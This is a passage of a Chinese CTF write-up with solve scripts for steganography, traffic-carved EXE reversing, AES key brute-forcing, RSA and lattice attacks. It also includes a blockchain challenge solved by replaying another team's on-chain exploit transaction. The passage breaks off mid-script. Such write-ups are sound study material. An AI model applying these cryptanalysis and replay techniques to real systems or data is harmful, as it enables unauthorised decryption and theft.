watermark = cv2.imread('test_images/flag.png', cv2.IMREAD_GRAYSCALE)
wm = Watermark(carrier)
embedded = wm.l(watermark)
cv2.imwrite('embedded.png', embedded) 关键内容是l()函数，后面流程我都加备注了，基本流程是
两个图片各经历了不同的变化，
水印做猫眼，二值化之后压缩转为字节，最后RScode转为bytes，然后进行解压缩数据
原图首先通道转换，Cr，Cb通道进行了小波转换，随后数据分块4×4
之后将水印进行嵌入，然后使用了超级无敌大套娃的k函数（dct，svd，μ，QIM），将两组数据分别写入，Cr，Cb通道，进行合块（c函数），最终进行反小波运算，将通道转为RGB，完成隐写。。。
我只能说那是真的
那么知道具体思路写解密脚本就行了，就是从下往上回着写，基本都有对应，不难
脚本如下，尊重一下出题人的想法， 此处我也使用同样类型的混淆算法进行编写exp
from email.mime import image
import hashlib
import cv2
import numpy as np
import pywt
from reedsolo import RSCodec
import matplotlib.pyplot as plt
class WatermarkExtract ():
def __init__ (O000OO00O00OOO0OO ,OOO00OO0OO0000O00 ):
O000OO00O00OOO0OO .block_shape =4
O000OO00O00OOO0OO .arnold_factor =(6 ,20 ,22 )
O000OO00O00OOO0OO .rsc_factor =100
O000OO00O00OOO0OO .mu_law_mu =100
O000OO00O00OOO0OO .mu_law_X_max =8000
O000OO00O00OOO0OO .delta =15
O000OO00O00OOO0OO .carrier =OOO00OO0OO0000O00 .astype ('float32')
O0O0O0OO0OO0OO00O ,O0OOO0O000OO0OOOO =O000OO00O00OOO0OO .carrier .shape [:2 ]
O000OO00O00OOO0OO .carrier_cA_height =O0O0O0OO0OO0OO00O //2
O000OO00O00OOO0OO .carrier_cA_width =O0OOO0O000OO0OOOO //2
O000OO00O00OOO0OO .watermark_height =O000OO00O00OOO0OO .carrier_cA_height //O000OO00O00OOO0OO .block_shape
O000OO00O00OOO0OO .watermark_width =O000OO00O00OOO0OO .carrier_cA_width //O000OO00O00OOO0OO .block_shape
O000OO00O00OOO0OO .max_bits_size =O000OO00O00OOO0OO .watermark_height *O000OO00O00OOO0OO .watermark_width
O000OO00O00OOO0OO .max_bytes_size =O000OO00O00OOO0OO .max_bits_size //8 #line:17
O000OO00O00OOO0OO .rsc_size =len (RSCodec (O000OO00O00OOO0OO .rsc_factor ).encode (b'\x00'*O000OO00O00OOO0OO .max_bytes_size ))
def c (O00O000000OOOO00O ,O000O0O0OO0O0OOOO ):
OO00O00OO00O0000O ,O00O0OOOO000O0OO0 =O000O0O0OO0O0OOOO [:2 ]#line:22
OO0O0O0O0OOO0O000 ,OO0000OOO00O0O0O0 =O00O000000OOOO00O .shape [-2 :]#line:23
O0000O00O0O00OO00 =(OO00O00OO00O0000O //OO0O0O0O0OOO0O000 ,O00O0OOOO000O0OO0 //OO0000OOO00O0O0O0 ,OO0O0O0O0OOO0O000 ,OO0000OOO00O0O0O0 )#line:24
O00O000000OOOO00O =np .reshape (O00O000000OOOO00O ,O0000O00O0O00OO00 )#line:25
O0OO00O0000OOO000 =[]#line:26
for OO000OOOO00OO0OOO in O00O000000OOOO00O :#line:27
O0OO00O0000OOO000 .append (np .concatenate (OO000OOOO00OO0OOO ,axis =1 ))#line:28
O0OOO0O00O0OO0OOO =np .concatenate (O0OO00O0000OOO000 ,axis =0 )#line:29
return O0OOO0O00O0OO0OOO #line:30
def b (OO0000OOO000OOO00 ,O000OO000OOO0O00O ,OO0O000OO0O0OO00O ):#line:32
OO000O000000O0OOO ,O0O00OOOO0O0O0O00 =O000OO000OOO0O00O .shape [:2 ]#line:33
O00000OO000O0O00O ,O00000OOO0OOO00O0 =OO0O000OO0O0OO00O #line:34
OOOOOOO0OO00OOO00 =(OO000O000000O0OOO //O00000OO000O0O00O ,O0O00OOOO0O0O0O00 //O00000OOO0OOO00O0 ,O00000OO000O0O00O ,O00000OOO0OOO00O0 )#line:35
OO000000O0OO0OO0O =O000OO000OOO0O00O .itemsize *np .array ([O0O00OOOO0O0O0O00 *O00000OO000O0O00O ,O00000OOO0OOO00O0 ,O0O00OOOO0O0O0O00 ,1 ])#line:36
OO00O00OOOO0OOO00 =np .lib .stride_tricks .as_strided (O000OO000OOO0O00O ,OOOOOOO0OO00OOO00 ,OO000000O0OO0OO0O ).astype ('float64')#line:37
OO00O00OOOO0OOO00 =np .reshape (OO00O00OOOO0OOO00 ,(OOOOOOO0OO00OOO00 [0 ]*OOOOOOO0OO00OOO00 [1 ],O00000OO000O0O00O ,O00000OOO0OOO00O0 ))#line:38
return OO00O00OOOO0OOO00 #line:39
def e1 (O0O0O0OOO00O00000 ,OOO000O00O0OOO0O0 ,OO000OOO000OO000O ,OOOOOO00000O00O00 ):#line:43
return np .log (1 +OOOOOO00000O00O00 *(np .abs (OOO000O00O0OOO0O0 )/OO000OOO000OO000O ))/np .log (1 +OOOOOO00000O00O00 )#line:44
def extract (OO0OOO00OO0O00OO0 ,O000OO0O0O00OOOO0 ,OO0OOO000O000O00O ):#line:46
return O000OO0O0O00OOOO0 /2 -OO0OOO000O000O00O *1000 %O000OO0O0O00OOOO0 #line:47
def reverse (O0OO0OO00000000OO ,OO0O00O000000OOOO ):#line:49
O000OOOOOOOOO0O0O =OO0O00O000000OOOO .copy ()#line:50
O000O0OOO000OOO0O =[]#line:51
for O0OOOOO0000O0O000 ,OOO0000OO00OO0000 in enumerate (OO0O00O000000OOOO ):#line:52
O00OO00O00000OOOO =cv2 .dct (OOO0000OO00OO0000 )#line:53
O00O00O0OOO0OO0O0 ,OOOO0OO0OOOOOOOOO ,O00O000OO000O0000 =np .linalg .svd (O00OO00O00000OOOO )#line:54
O0000O0OO0000OOO0 =np .max (OOOO0OO0OOOOOOOOO )#line:55
O00OO0OO00O00O000 =O0OO0OO00000000OO .e1 (O0000O0OO0000OOO0 ,O0OO0OO00000000OO .mu_law_X_max ,O0OO0OO00000000OO .mu_law_mu )#line:56
O000OOOOOOOOO0O0O =O0OO0OO00000000OO .extract (O0OO0OO00000000OO .delta ,O00OO0OO00O00O000 )#line:57
if O000OOOOOOOOO0O0O >0 :#line:58
O000O0OOO000OOO0O .append (1 )#line:59
else :#line:60
O000O0OOO000OOO0O .append (0 )#line:61
return O000O0OOO000OOO0O #line:62
def packbits (OOO00OO00OO0OOO00 ,O0O0O00O0O00OOO00 ):#line:64
OOO00000O00000OO0 =np .packbits (O0O0O00O0O00OOO00 ).tobytes ()#line:65
return OOO00000O00000OO0 #line:66
def debuffer (OO0O0OO00O000OOOO ,OOO00OOOO00O0000O ):#line:68
O0O0O0OO00OO00OO0 =np .unpackbits (np .frombuffer (OOO00OOOO00O0000O ,dtype ='uint8'))#line:69
return O0O0O0OO00OO00OO0 #line:70
def dearnold (OOOO000O0OO0OOO0O ,OOOOOOO00OO0O0000 ,OOOO0O0000O0OO0OO ):#line:72
O0OOOOOOO000OO0O0 ,O00O0OO0OO0000O00 ,OOO00O00OOO00OO00 =OOOO0O0000O0OO0OO #line:73
OO000OO000O0000O0 ,OOOOOO0O0OOOOO00O =OOOOOOO00OO0O0000 .shape [:2 ]#line:74
OO000OO00OOOO00O0 =np .zeros (OOOOOOO00OO0O0000 .shape )#line:75
for O00OO00OO00O00000 in range (O0OOOOOOO000OO0O0 ):#line:76
for O0O000000000OOO0O in range (OO000OO000O0000O0 ):#line:77
for O0O0OOOOO0OOOOOO0 in range (OOOOOO0O0OOOOO00O ):#line:78
O0OO0OO0O0O0O00OO =(O0O0OOOOO0OOOOOO0 +O00O0OO0OO0000O00 *O0O000000000OOO0O )%OOOOOO0O0OOOOO00O #line:79
OO000OO000O0OO0O0 =(OOO00O00OOO00OO00 *O0O0OOOOO0OOOOOO0 +(O00O0OO0OO0000O00 *OOO00O00OOO00OO00 +1 )*O0O000000000OOO0O )%OO000OO000O0000O0 #line:80
OO000OO00OOOO00O0 [OO000OO000O0OO0O0 ,O0OO0OO0O0O0O00OO ]=OOOOOOO00OO0O0000 [O0O000000000OOO0O ,O0O0OOOOO0OOOOOO0 ]#line:81
OOOOOOO00OO0O0000 =OO000OO00OOOO00O0 .copy ()#line:82
return OOOOOOO00OO0O0000 #line:84
def decode1 (OOOOOOOO0OOOO0OO0 ,O0O000OO00O0O0000 ):#line:87
O0O000OO00O0O0000 =OOOOOOOO0OOOO0OO0 .carrier #line:88
OOOOO0O00OOOO0O00 =cv2 .cvtColor (O0O000OO00O0O0000 ,cv2 .COLOR_BGR2YCrCb )#line:89
OO00O0OOO00OO000O ,O0OO00OO00OOO00OO ,O00O0OOO000O0OO00 =cv2 .split (OOOOO0O00OOOO0O00 )#line:90
O0O0OO0O0O00000O0 ,O00O0000OOOO00O0O =pywt .dwt2 (O0OO00OO00OOO00OO ,'haar')#line:92
OO000000OOO0O0OO0 ,O0OO000OOO0OO00OO =pywt .dwt2 (O00O0OOO000O0OO00 ,'haar')#line:93
O0O0OOO00OO0O00O0 =OOOOOOOO0OOOO0OO0 .b (O0O0OO0O0O00000O0 ,(OOOOOOOO0OOOO0OO0 .block_shape ,OOOOOOOO0OOOO0OO0 .block_shape ))#line:94
O000OOOOO0O000O00 =OOOOOOOO0OOOO0OO0 .b (OO000000OOO0O0OO0 ,(OOOOOOOO0OOOO0OO0 .block_shape ,OOOOOOOO0OOOO0OO0 .block_shape ))#line:95
O0O0OO00OO0OOOOOO =OOOOOOOO0OOOO0OO0 .reverse (O0O0OOO00OO0O00O0 )#line:97
OOO00OO000OO00000 =OOOOOOOO0OOOO0OO0 .reverse (O000OOOOO0O000O00 )#line:98
O0OOO00O000000000 =np .array (O0O0OO00OO0OOOOOO +OOO00OO000OO00000 )#line:100
OO000OO0OOOOO00O0 =(OOOOOOOO0OOOO0OO0 .packbits (O0OOO00O000000000 ))[:OOOOOOOO0OOOO0OO0 .rsc_size ]#line:101
OOOO0OO0OO0O0OO0O =RSCodec (OOOOOOOO0OOOO0OO0 .rsc_factor )#line:102
OO0OOOOO00O0OOOOO =bytes (OOOO0OO0OO0O0OO0O .decode (OO000OO0OOOOO00O0 )[0 ])#line:103
OO0000O000OOO0OOO =OOOOOOOO0OOOO0OO0 .debuffer (OO0OOOOO00O0OOOOO ).reshape ((240 ,240 ))#line:104
for OO0O0OO0OOO00OOO0 in range (19 ):#line:105
OO0000O000OOO0OOO =OOOOOOOO0OOOO0OO0 .dearnold (OO0000O000OOO0OOO ,OOOOOOOO0OOOO0OO0 .arnold_factor )#line:106
return OO0000O000OOO0OOO #line:108
if __name__ =='__main__':#line:111
embedded =cv2 .imread ('embedded.png')#line:117
wm =WatermarkExtract (embedded )#line:118
extart =wm .decode1 (embedded )#line:119
cv2 .imshow ('extart',extart )#line:121
cv2 .waitKey (0 )#line:122 4.super_electric misc+re+crypto 只能说re和密码是牛逼的
流量分析，MMS流量，直接追踪TCP，发现盲点
一眼顶针，是MZ文件头的exe程序，仔细看一眼，是octet-string字段存储的，
然后导出csv，编写脚本即可
import csv
from hashlib import new
list1 = []
with open('dump.csv') as f:
reader = csv.reader(f)
for row in reader:
list1.append(row)
newlist = []
for i in range(1,len(list1)-1):
if len(list1[i][6]) == 16:
newlist.append(list1[i][6])
strings = ''.join(newlist)
#hex转换，保存为exe
with open('1.exe', 'wb') as f:
f.write(bytes.fromhex(strings)) 拿到文件运行发现是弹窗提示，所以直接在MessageBox下了断点回溯找到校验部分
是明文比对，所以过了第一个校验
然而并没有结束，flag不对，所以在继续找程序的可疑地方即是pack段与mysec段
在pack段的有个函数CRC解密的部分，所以怀疑是个内置的压缩壳
随后经过不断调试与尝试想起start函数可疑的地方，也就是经过第一个校验之后还在运行的地方
于是把程序直接跑到这，跳过去直接dump出来
直接审计一下提取数据手动解密
得到
data1 = [ 0xEA, 0xE8, 0xE7, 0xD6, 0xDC, 0xD6, 0xEE, 0xEC, 0xFD, 0xD6,
0xB8, 0xFD, 0xB6]
for t in data1:
print(chr(t ^ 0x89), end = "")
print()
data = [ 0x66, 0x73, 0x6D, 0x6E, 0x24, 0x46, 0x74, 0x7E, 0x78, 0x7D,
0x65, 0x25, 0x4F, 0x64, 0x7E, 0x67, 0x75, 0x63, 0x32, 0x7A,
0x79, 0x65, 0x79, 0x65, 0x6C, 0x39, 0x5B, 0x5E, 0x4F, 0x17,
0x77, 0x72, 0x50, 0x4E, 0x50, 0x57, 0x04, 0x47, 0x4F, 0x49,
0x49, 0x5A, 0x49, 0x42, 0x45, 0x27, 0x47, 0x42, 0x40, 0x5E,
0x40, 0x47, 0x14, 0x5D, 0x57, 0x44, 0x50, 0x55, 0x53, 0x59,
0x36, 0x5B, 0x4C, 0x50, 0x2D, 0x61, 0x2A, 0x2B, 0x2C, 0x65,
0x2F, 0x2A, 0x38, 0x26, 0x38, 0x3F, 0x6C, 0x2B, 0x22, 0x2E,
0x37, 0x5B, 0x33, 0x20, 0x27, 0x30, 0x24, 0x23, 0x78, 0x3F,
0x36, 0x3A, 0x3B, 0x06, 0x64, 0x6A, 0x3D, 0x41, 0x5F, 0x5E,
0x44, 0x42, 0x00, 0x0B, 0x09, 0x0E, 0x11, 0x4C, 0x4C, 0x0C,
0x00, 0x0B, 0x50, 0x17, 0x1E, 0x12, 0x13, 0x2E, 0x5B, 0x46,
0x42, 0x24, 0x5A, 0x46, 0x41, 0x5D, 0x59, 0x02, 0xA7, 0x8B,
0xE9, 0xE6, 0xFD, 0xA5, 0xBB, 0xA7, 0xEA, 0xAE, 0xBE, 0xEF,
0xB5, 0xEC, 0xB9, 0xBF, 0xA0, 0xA1, 0xA3, 0xA3, 0xA0, 0xA6,
0xA1, 0xBD, 0xB2, 0xB3, 0xBD, 0x91, 0xF0, 0xBD, 0xA3, 0xBF,
0xCC, 0xC4, 0xCC, 0x8B, 0xCF, 0xC0, 0xDF, 0x8E, 0xA2, 0xC4,
0xCF, 0xD8, 0xDF, 0xCC, 0xC9, 0xCA, 0x90, 0x8C, 0x92, 0xD1,
0x93, 0xF1, 0xD9, 0x97, 0xC1, 0xD6, 0xCF, 0x9B, 0xD9, 0xCB,
0xDB, 0xCD, 0xE0, 0xA7, 0xA7, 0xA6, 0xA8, 0xE9, 0xE6, 0xA1,
0xAD, 0xAC, 0xA6, 0xEB, 0xBF, 0xA2, 0xEE, 0xBF, 0xB1, 0xA1,
0xB7, 0xA1, 0xF4, 0xA1, 0xBE, 0xBE, 0xB6, 0xF5, 0xFA, 0x97,
0xB5, 0xB6, 0xBB, 0xFF, 0x81, 0xC1, 0x8A, 0x8C, 0x91, 0x96,
0x83, 0xC7, 0x87, 0x8F, 0xCA, 0x88, 0x8D, 0x9F, 0x8A, 0x9C,
0xDC, 0xD1, 0xBD, 0x9D, 0x91, 0xD5, 0x94, 0x9B, 0x97, 0x8E,
0xDA, 0x9D, 0x8E, 0x92, 0x93, 0xDF, 0x63, 0x60, 0x74, 0x6A,
0x6A, 0x62, 0x26, 0x6E, 0x66, 0x2E, 0x2A, 0x20, 0x2C, 0x6F,
0x67, 0x61, 0x71, 0x62, 0x71, 0x7A, 0x7D, 0x3B, 0x63, 0x79,
0x70, 0x7C, 0x62, 0x77, 0x75, 0x7B, 0x67, 0x37, 0x48, 0x40,
0x51, 0x4B, 0x48, 0x4C, 0x44, 0x09, 0x5B, 0x41, 0x4B, 0x19,
0x19, 0x1B, 0x06, 0x44, 0x55, 0x48, 0x1B, 0x1D, 0x5C, 0x50,
0x4E, 0x53, 0x51, 0x5E, 0x5F, 0x48, 0x48, 0x15, 0x17, 0x16,
0x1B, 0x7B, 0x73, 0x73, 0x19, 0x4F, 0x2F, 0x31, 0x68, 0x74,
0x6A, 0x2D, 0x20, 0x2C, 0x29, 0x14, 0x65, 0x6B, 0x7F, 0x62,
0x09, 0x5F, 0x3B, 0x32, 0x2B, 0x2A, 0x3B, 0x3C, 0x39, 0x7D,
0x63, 0x7F, 0x0D, 0x04, 0x11, 0x10, 0x05, 0x02, 0x03, 0x47,
0x43, 0x49, 0x08, 0x12, 0x18, 0x08, 0x1D, 0x47, 0x58, 0x1D,
0x52, 0x5E, 0x54, 0x19, 0x13, 0x19, 0x50, 0x14, 0x1F, 0x08,
0x0F, 0x1C, 0x19, 0x1A, 0xA9, 0xA1, 0xA7, 0xA3, 0xE8, 0xAC,
0xA6, 0xAD, 0xA8, 0xEA, 0xE2, 0xF9, 0xA4, 0xE1, 0xAE, 0xA2,
0xB0, 0xFD, 0xF7, 0xFD, 0xBC, 0xF8, 0xF3, 0xE4, 0xEB, 0xF8,
0xFD, 0xFE, 0xB5, 0xBD, 0xBB, 0xBF, 0xCC, 0x88, 0x8E, 0x83,
0xC1, 0xCB, 0xC5, 0xC8, 0xCC, 0xC0, 0xC4, 0xCC, 0x8C, 0x90,
0x8E, 0x88, 0xC5, 0xC5, 0xD4, 0x9E, 0x8C, 0x92, 0x9F, 0xBD,
0xD9, 0xDC, 0xC9, 0x9B, 0x81, 0x9D, 0xFF, 0xFA, 0x93, 0xEF,
0xAC, 0xA6, 0xB3, 0xED, 0xAD, 0xA2, 0xB1, 0xE5, 0xEA, 0x8A,
0x89, 0x9E, 0xE0, 0x82, 0x9F, 0x95, 0x97, 0x8C, 0x97, 0x97,
0x95, 0xFB, 0xF8, 0xB0, 0xAC, 0xF2, 0xD6, 0xAD, 0xAC, 0xB6,
0x8E, 0x95, 0xCA, 0x81, 0x8D, 0x8B, 0x87, 0x94, 0x8B, 0x80,
0x83, 0xC5, 0x84, 0x88, 0x96, 0x83, 0x99, 0x97, 0x8B, 0xDB,
0x95, 0x90, 0x85, 0xD9, 0x9D, 0x97, 0x99, 0x89, 0x85, 0x8D,
0x8A, 0xD7, 0x6D, 0x64, 0x71, 0x70, 0x65, 0x62, 0x63, 0x2E,
0x21, 0x20, 0x00, 0x28, 0x26, 0x27, 0x24, 0x25, 0x3A, 0x3B,
0x38, 0x39, 0x3E, 0x3F, 0x3C, 0x3D, 0x32, 0x33, 0x30, 0x31,
0x36, 0x37, 0x34, 0x35, 0x0A, 0x0B, 0x08, 0x09, 0x0E, 0x0F,
0x0C, 0x0D, 0x02, 0x03, 0x00, 0x01, 0x06, 0x07, 0x04, 0x05,
0x1A, 0x1B, 0x18, 0x19, 0x1E, 0x1F, 0x1C, 0x1D, 0x12, 0x13,
0x10, 0x11, 0x16, 0x17, 0x14, 0x15, 0x6A, 0x6B, 0x68, 0x69,
0x6E, 0x6F, 0x6C, 0x6D, 0x62, 0x63, 0x60, 0x61, 0x66, 0x67,
0x64, 0x65, 0x7A, 0x7B, 0x78, 0x79, 0x7E, 0x7F, 0x7C, 0x7D,
0x72, 0x73, 0x70, 0x71, 0x76, 0x77, 0x74, 0x75, 0x4A, 0x4B,
0x48, 0x49, 0x4E, 0x4F, 0x4C, 0x4D, 0x42, 0x43, 0x40, 0x41,
0x46, 0x47, 0x44, 0x45, 0x5A, 0x5B, 0x58, 0x59, 0x5E, 0x5F,
0x5C, 0x5D, 0x52, 0x53, 0x50, 0x51, 0x56, 0x57, 0x54, 0x55,
0xAA, 0xAB, 0xA8, 0xA9, 0xAE, 0xAF, 0xAC, 0xAD, 0xA2, 0xA3,
0xA0, 0xA1, 0xA6, 0xA7, 0xA4, 0xA5, 0xBA, 0xBB, 0xB8, 0xB9,
0xBE, 0xBF, 0xBC, 0xBD, 0xB2, 0xB3, 0xB0, 0xB1, 0xB6, 0xB7,
0xB4, 0xB5, 0x8A, 0x8B, 0x91, 0xC5, 0xC6, 0xC4, 0x90, 0x93,
0xC9, 0xCD, 0x9D, 0xC9, 0x9B, 0x95, 0x98, 0x98, 0x86, 0xD4,
0x86, 0x85, 0x80, 0x86, 0x8F, 0x82, 0x89, 0x80, 0x83, 0x8F,
0x8E, 0x89, 0x8D, 0x8F, 0xF2, 0xA3, 0xF0, 0xF2, 0xA6, 0xF7,
0xA4, 0xF6, 0xFF, 0xAD, 0xA8, 0xF9, 0xC6]
for i in range(len(data)):
print(chr(data[i] ^ i & 0xFF), end = "")
# can_U_get_1t?
from Crypto.Cipher import AES
import binascii
import hashlib
from hhh import flag
assert flag[:5] == 'flag{' and flag[-1:] == '}'
key = b'4d9a700010437***'
l = len(key)
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
iv = flag[5:-1]
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key, AES.MODE_CBC, iv)
print(binascii.hexlify(aes.encrypt(message)))
#******************************************************************************************************************************************************3fba64ad7b78676e464395199424302b21b2b17db2
然后又套了个密码，加点注释。
from Crypto.Cipher import AES
import binascii
import hashlib
from hhh import flag
assert flag[:5] == 'flag{' and flag[-1:] == '}'
key = b'4d9a700010437***'
l = len(key) #16
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
iv = flag[5:-1] #flag内容做为iv。
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key, AES.MODE_CBC, iv)
print(binascii.hexlify(aes.encrypt(message)))
#******************************************************************************************************************************************************3fba64ad7b78676e464395199424302b21b2b17db2
简单分析一下，首先给了个key，需要爆破，三位，然后密位没给全但是问题不大，可以用来当作校验，最后把明文当成密文来解aes应该就可以了，先爆破一下key
首先key是16进制，内容最多是0-9a-f，所以编写
from email import message
from encodings import utf_8
from Crypto.Util.number import *
from Crypto.Cipher import AES
import binascii
import hashlib
checknum = 0x3fba64ad7b78676e464395199424302b21b2b17db2
def XOR(a,b):
c = []
for i,j in zip(a,b):
c.append(i^j)
return bytes(c)
#16进制
strlist = "0123456789abcdef"
for a in strlist:
for b in strlist:
for c in strlist:
key = '4d9a700010437'+a+b+c
key = key.encode()
l = len(key) #16
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key,AES.MODE_ECB)
data1 = long_to_bytes(checknum)
check = data1[:-16] #flag{
encode= data1[-16:] #}
#decode
decode = aes.decrypt(encode)[-5:]
if check == XOR(decode,message[-5:]):
print(key)
break 获得key：4d9a7000104376fe
有了key之后就可以带入之前的程序继续计算就行了
#题目给的
key = "4d9a7000104376fe"
key = key.encode()
l = len(key) #16
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key,AES.MODE_ECB)
#clac
msg = []
for i in range(6):
temp = message[i*16:(i+1)*16]
msg.append(temp)
msg = msg[::-1]
flag = long_to_bytes(checknum)[-16:]
for i in range(6):
flag = aes.decrypt(flag)
flag = XOR(flag, msg[i])
print(flag) 5.BearParser 非预期上车
区块链，只给了部分代码，一直等上车来着
最开始思路寻思上geth连一下看看，geth attach ip可以链上，并且使用eth.getBlock能获取其他人的交易记录，所以一直等着上车捏
然后发现有队伍一血了，最速使用eth.BlockNumber查看到最新区块到了190，
索性从181一直查到了190（之前区块一直在查，要么是部署，要么是转账和创建账户）直到190块发现了poc，对应一下时间刚好是一血的时间，直接复制input内容
{
blockHash: "0xf6296217b129d81856d1edcc76be550904160f4a877cbb3ed4405789d36729e5",
blockNumber: 190,
from: "0xc7f0fa2a5f9a258f0762457f3e5e34ac4581dfae",
gas: 3000000,
gasPrice: 10000000000,
hash: "0x5fe866a4e421c73d0c846c04e82b27830c60af842641baa606d03bd818e7550f",
input: "0x26ad15930000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000008061616161616161616161616161616161616161616161616161616161616161616262626262626262626262626262626262626262626262626262626262626262000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000001111111100000000000000000000000000000000000000000000000000000000111111110000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000278780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000006fb9eccc000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000027878000000000000000000000000000000000000000000000000000000000000",
nonce: 0,
r: "0x44de0f6cde5ee4144de798ac6382347bb4b8878d399f4da629e23114d1106624",
s: "0x3c5d157b3accc627c0a95a54f6f0d2b6ca76e006e4569eada69df141c730e589",
to: "0xf8af169b2ccde9271fdd004608c624037d58957f",
transactionIndex: 0,
type: "0x0",
v: "0x4593",
value: 0 合约随便部署个fallback() external{}
就行了然后直接to address部署题目合约，直接transact即可
复制交易txhash值，最后提交
0X03 Crypto 1.little little fermat 遇事不决去百度代码， 发现相似代码
根据 w r i t e u p 即可求出 p 和 q
题目提示是小费马，百度即可得到费马小定理
费马小定理
根据费马小定理我们可以从 ：
assert 114514 ** x % p == 1 推出:
x = p - 1 然后正常解RSA即可：
from Crypto.Util.number import *
from random import *
from libnum import *
import gmpy2
from itertools import combinations, chain
e = 65537
n = 14132106732571642637548350691522493009724686596047415506904017635686070743554027091108158975147178351963999658958949587721449719649897845300515427278504841871501371441992629
9248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393
c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828
498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883
tp = [gmpy2.mpz( 1 << i) for i in range ( 512 )]
it = chain(*[combinations( range ( 3 , 417 - 3 ), i) for i in range ( 4 )])
for cf in it:
A = - sum ([tp[i] for i in cf])
D = A** 2 + 4 * n
if gmpy2.is_square(D):
d = gmpy2.isqrt(D)
p = (-A + d) // 2
q = n // p
break
x=p- 1
d = pow (e, - 1 , (p - 1 ) * (q - 1 ))
m= pow (c, d, n)
print ( pow (c, d, n))
print (long_to_bytes(m^(x** 2 ))) 2.common_rsa 利用在线分解直接出p,q。
然后常规 R S A 解密即可：
import libnum
from Crypto.Util.number import long_to_bytes
c = 97724073843199563126299138557100062208119309614175354104566795999878855851589393774478499956448658027850289531621583268783154684298592331328032682316868391120285515076911892737051842116394165423670275422243894220422196193336551382986699759756232962573336291032572968060586136317901595414796229127047082707519
n = 253784908428481171520644795825628119823506176672683456544539675613895749357067944465796492899363087465652749951069021248729871498716450122759675266109104893465718371075137027806815473672093804600537277140261127375373193053173163711234309619016940818893190549811778822641165586070952778825226669497115448984409
e = 31406775715899560162787869974700016947595840438708247549520794775013609818293759112173738791912355029131497095419469938722402909767606953171285102663874040755958087885460234337741136082351825063419747360169129165
q = 21007149684731457068332113266097775916630249079230293735684085460145700796880956996855348862572729597251282134827276249945199994121834609654781077209340587
p = 12080882567944886195662683183857831401912219793942363508618874146487305963367052958581455858853815047725621294573192117155851621711189262024616044496656907
d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m)) (不理解这道题为什么没多少人做， 当时做的时候看到 e 很大想到了维纳攻击，但没想到网上可以直接查到 n 的分解，也就没有进一步分解代码直接解了）
（有点感觉非预期？）
3.tracing （这道题秋风提供了核心求解 p h i 的思路，然后我就直接把剩下的 R S A 解密一把梭了)
这道题的 p q 没有给出，而题目却给出了类似于单步调试回显的代码，因此分析 g c d 函数的操作过程可以直接倒推出 p h i
import libnum
from Crypto.Util.number import long_to_bytes
n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301
c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102
e = 65537
tag1 = 1
tag2 = 0
F = open( "trace.out" , "r" )
arr = F.readlines()
for i in arr[::-1]:
if "a = a - b" in i:
tag1 = tag1 + tag2
if "a, b = b, a" in i:
tag1, tag2 = tag2, tag1
if "a = rshift1(a)" in i:
tag1 = tag1 << 1
if "b = rshift1(b)" in i:
tag2 = tag2 << 1
phi = tag1
d = libnum.invmod(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m)) 4.fill 利用lcg的三组连续输出求出参数m和c，从而得到整个序列s，反求出序列M；然后就是一个背包的破解，lll算法求最短向量即可，构造方式参考：https://www.ruanx.net/lattice-2/，exp： M = [19620578458228, 39616682530092, 3004204909088, 6231457508054, 3702963666023, 48859283851499, 4385984544187, 11027662187202, 18637179189873, 29985033726663, 20689315151593, 20060155940897, 46908062454518, 8848251127828, 28637097081675, 35930247189963, 20695167327567, 36659598017280, 10923228050453, 29810039803392, 4443991557077, 31801732862419, 23368424737916, 15178683835989, 34641771567914, 44824471397533, 31243260877608, 27158599500744, 2219939459559, 20255089091807, 24667494760808, 46915118179747] S = 492226042629702 n = len(M) L = matrix.zero(n + 1) for row, x in enumerate(M): L[row, row] = 2 L[row, -1] = x L[-1, :] = 1 L[-1, -1] = S res = L.LLL() print(res) # python from Crypto.Util.number import * from hashlib import * nbits = 32 M = [19621141192340, 39617541681643, 3004946591889, 6231471734951, 3703341368174, 48859912097514, 4386411556216, 11028070476391, 18637548953150, 29985057892414, 20689980879644, 20060557946852, 46908191806199, 8849137870273, 28637782510640, 35930273563752, 20695924342882, 36660291028583, 10923264012354, 29810154308143, 4444597606142, 31802472725414, 23368528779283, 15179021971456, 34642073901253, 44824809996134, 31243873675161, 27159321498211, 2220647072602, 20255746235462, 24667528459211, 46916059974372] s0,s1,s2 = 562734112,859151551,741682801 n = 991125622 m = (s2-s1)*inverse(s1-s0,n)%n c = (s1-s0*m)%n s = [0] * nbits s[0] = s0 for i in range(1, 